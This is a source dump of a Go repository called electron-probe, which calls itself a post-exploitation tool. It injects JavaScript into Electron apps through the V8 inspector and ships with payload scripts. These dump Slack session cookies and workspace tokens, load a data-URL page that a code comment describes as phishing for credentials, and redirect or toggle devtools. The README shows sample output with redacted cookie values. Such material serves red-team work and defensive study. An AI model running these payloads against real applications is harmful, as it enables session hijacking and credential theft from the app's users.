├── .github └── workflows │ └── go.yml ├── README.md ├── electron-probe.go ├── go.mod ├── go.sum └── scripts ├── dump_slack_cookies.js ├── dump_slack_tokens.js ├── inline_content.js ├── redirect.js └── toggle_devtools.js /.github/workflows/go.yml: -------------------------------------------------------------------------------- 1 | name: Go 2 | 3 | on: 4 | push: 5 | branches: [ main ] 6 | pull_request: 7 | branches: [ main ] 8 | 9 | jobs: 10 | 11 | build: 12 | runs-on: ubuntu-latest 13 | steps: 14 | - uses: actions/checkout@v2 15 | 16 | - name: Set up Go 17 | uses: actions/setup-go@v2 18 | with: 19 | go-version: 1.17 20 | 21 | - name: Build 22 | run: go build -v ./... 23 | 24 | - name: Test 25 | run: go test -v ./... 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # electron-probe 2 | 3 | Electron-Probe leverages the Node variant of the Chrome Debugging Protocol to execute JavaScript payloads inside of target Electron applications. This allows an attacker to extract secrets and manipulate the application as part of their post-exploitation workflow. 4 | 5 | ## Usage 6 | Launch the Electron app target with the `--inspect` flag to start the V8 Inspector: 7 | ``` 8 | $ /Applications/Slack.app/Contents/MacOS/Slack --inspect 9 | 10 | Debugger listening on ws://127.0.0.1:9229/b84df45f-b494-4e18-b77c-d8ed8f34c44d 11 | For help, see: https://nodejs.org/en/docs/inspector 12 | Initializing local storage instance 13 | (node:82531) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead. 14 | (Use `Slack --trace-deprecation ...` to show where the warning was created) 15 | [08/29/21, 19:12:21:841] info: 16 | ╔══════════════════════════════════════════════════════╗ 17 | ║ Slack 4.18.0, darwin (Store) 20.6.0 on x64 ║ 18 | ╚══════════════════════════════════════════════════════╝ 19 | ``` 20 | 21 | Then, use electron-probe to inject your payloads: 22 | 23 | ``` 24 | $ ./electron-probe -inspect-target http://localhost:9229 -script scripts/dump_slack_cookies.js | jq 25 | 26 | [ 27 | [... SNIP] 28 | { 29 | "name": "ssb_instance_id", 30 | "value": "90d5538e- [ REDACTED ]", 31 | "domain": ".slack.com", 32 | "hostOnly": false, 33 | "path": "/", 34 | "secure": false, 35 | "httpOnly": false, 36 | "session": false, 37 | "expirationDate": 1945639889, 38 | "sameSite": "unspecified" 39 | }, 40 | { 41 | "name": "d", 42 | "value": "aX9QnD8F [ REDACTED ]", 43 | "domain": ".slack.com", 44 | "hostOnly": false, 45 | "path": "/", 46 | "secure": true, 47 | "httpOnly": true, 48 | "session": false, 49 | "expirationDate": 1941391182.507454, 50 | "sameSite": "lax" 51 | }, 52 | [ SNIP ] 53 | ] 54 | ``` 55 | 56 | There is a small set of example scripts in the `scripts` directory to get you started. 57 | 58 | -------------------------------------------------------------------------------- /electron-probe.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "embed" 6 | "flag" 7 | "fmt" 8 | "log" 9 | "strconv" 10 | "time" 11 | 12 | "github.com/mafredri/cdp" 13 | "github.com/mafredri/cdp/devtool" 14 | "github.com/mafredri/cdp/protocol/runtime" 15 | "github.com/mafredri/cdp/rpcc" 16 | ) 17 | 18 | //go:embed scripts/* 19 | var scriptFolder embed.FS 20 | 21 | // Working around a syntax limitation 22 | func BoolAddr(b bool) *bool { 23 | boolVar := b 24 | return &boolVar 25 | } 26 | 27 | func main() { 28 | scriptPath := flag.String("script", "", "Path to JS script to evaluate in the target") 29 | inspectTarget := flag.String("inspect-target", "", "V8 inspector listener") 30 | flag.Parse() 31 | if *inspectTarget == "" { 32 | log.Fatalf("Must specify inspector target") 33 | } 34 | if *scriptPath == "" { 35 | log.Fatalf("Must specify script payload") 36 | } 37 | 38 | scriptData, err := scriptFolder.ReadFile(*scriptPath) 39 | if err != nil { 40 | panic(err) 41 | } 42 | 43 | ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) 44 | defer cancel() 45 | devt := devtool.New(*inspectTarget) 46 | pt, err := devt.Get(ctx, devtool.Node) 47 | if err != nil { 48 | log.Fatalf("Failed to identify DevTools listener of type Node: %v", err) 49 | } 50 | conn, err := rpcc.DialContext(ctx, pt.WebSocketDebuggerURL) 51 | if err != nil { 52 | log.Fatalf("Failed to establish websocket connection with CDP listener: %v", err) 53 | } 54 | defer conn.Close() 55 | c := cdp.NewClient(conn) 56 | 57 | eval := runtime.NewEvaluateArgs(string(scriptData)) 58 | eval.AwaitPromise = BoolAddr(true) 59 | eval.ReplMode = BoolAddr(true) 60 | reply, err := c.Runtime.Evaluate(context.Background(), eval) 61 | if err != nil { 62 | log.Fatalf("Script evaluation fatal error: %v", err) 63 | } 64 | 65 | if reply.ExceptionDetails != nil { 66 | // Dump the exception details if the script run was unsuccessful 67 | log.Fatalf("Exception(line %d, col %d): %v\n", reply.ExceptionDetails.LineNumber, reply.ExceptionDetails.ColumnNumber, reply.ExceptionDetails.Exception) 68 | } 69 | 70 | // discarding the error result, failure doesn't matter. 71 | // This will just handle cases where string results come 72 | // back doubled escaped, causing parsing issues in follow-up 73 | // tools like `jq` 74 | s, _ := strconv.Unquote(string((*reply).Result.Value)) 75 | 76 | fmt.Printf("%s\n", s) 77 | } 78 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module electron-probe 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/gorilla/websocket v1.4.2 // indirect 7 | github.com/mafredri/cdp v0.32.0 // indirect 8 | ) 9 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= 2 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 3 | github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= 4 | github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 5 | github.com/mafredri/cdp v0.32.0 h1:JzW2F+zVK2y9ZhbNWyjrwafZLL9oNnl9Tf6JQ149Og8= 6 | github.com/mafredri/cdp v0.32.0/go.mod h1:YTCwLXkZSa18SGSIxCPMOGZcUJODZSNlAhiMqbyxWJg= 7 | github.com/mafredri/go-lint v0.0.0-20180911205320-920981dfc79e/go.mod h1:k/zdyxI3q6dup24o8xpYjJKTCf2F7rfxLp6w/efTiWs= 8 | github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= 9 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 10 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 11 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 12 | golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 13 | golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 14 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 15 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 16 | golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 17 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 18 | golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 19 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 20 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 21 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 22 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 23 | golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 24 | golang.org/x/sys v0.0.0-20210319071255-635bc2c9138d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 25 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 26 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 27 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 28 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 29 | golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= 30 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 31 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 32 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 33 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 34 | -------------------------------------------------------------------------------- /scripts/dump_slack_cookies.js: -------------------------------------------------------------------------------- 1 | electron = process.mainModule.require('electron'); 2 | JSON.stringify((await electron.session.defaultSession.cookies.get({}))) 3 | -------------------------------------------------------------------------------- /scripts/dump_slack_tokens.js: -------------------------------------------------------------------------------- 1 | electron = process.mainModule.require('electron'); 2 | window = electron.webContents.getAllWebContents()[0]; 3 | let config_blob = await window.executeJavaScript('localStorage.localConfig_v2'); 4 | let config_obj = JSON.parse(config_blob); 5 | let teams = Object.values(config_obj.teams) 6 | let extracted_teams = []; 7 | 8 | teams.forEach(e => { 9 | extracted_teams.push({ 10 | 'name': e.name, 11 | 'token': e.token 12 | }) 13 | }); 14 | 15 | JSON.stringify(extracted_teams) 16 | -------------------------------------------------------------------------------- /scripts/inline_content.js: -------------------------------------------------------------------------------- 1 | electron = process.mainModule.require('electron'); 2 | window = electron.webContents.getAllWebContents()[0]; 3 | let saved = window.getURL() 4 | // Load inline content. Phish for some creds? 5 | window.loadURL("data:text/html;base64,PGgxPnBscyBnaWIgY3JlZHo8L2gxPg==") 6 | -------------------------------------------------------------------------------- /scripts/redirect.js: -------------------------------------------------------------------------------- 1 | electron = process.mainModule.require('electron'); 2 | window = electron.webContents.getAllWebContents()[0]; 3 | window.loadURL("https://www.youtube.com/watch?v=dQw4w9WgXcQ") 4 | -------------------------------------------------------------------------------- /scripts/toggle_devtools.js: -------------------------------------------------------------------------------- 1 | electron = process.mainModule.require('electron'); 2 | window = electron.webContents.getAllWebContents()[0]; 3 | window.toggleDevTools() 4 | --------------------------------------------------------------------------------